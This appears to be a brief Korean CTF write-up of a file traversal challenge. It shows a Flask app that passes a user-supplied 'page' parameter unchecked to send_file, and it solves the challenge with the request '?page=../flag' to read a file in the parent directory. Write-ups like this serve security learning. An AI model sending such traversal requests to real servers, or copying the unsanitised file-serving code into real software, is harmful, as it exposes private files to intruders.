1. 개요
File traversal 문제
2. 분석
page 파라미터로 로컬 파일을 반환해줍니다.
http://localhost:8080/?page=public/wip.html
코드를 보면 send_file로 로컬 파일을 가져오는데, 로컬 어느 위치에 있든 가져올 수 있습니다.
from flask import Flask, request, send_file, make_response
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def index():
page = request.args.get('page', 'public/index.html')
response = make_response(send_file(page))
response.content_type = "text/html"
return response
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080)
page에 상위 폴더의 flag를 넣어서 반환합니다.
http://localhost:8080/?page=../flag
'CTF' 카테고리의 다른 글
[SECCON - Beginners_CTF_2021] json (0) | 2023.05.28 |
---|---|
[SECCON - Beginners_CTF_2021] cant_use_db (0) | 2023.05.28 |
[SECCON - Beginners_CTF_2021] werewolf (0) | 2023.05.28 |
[SCTF 2022] CUSES (0) | 2023.05.21 |
[SCTF 2022] Imageium (0) | 2023.05.20 |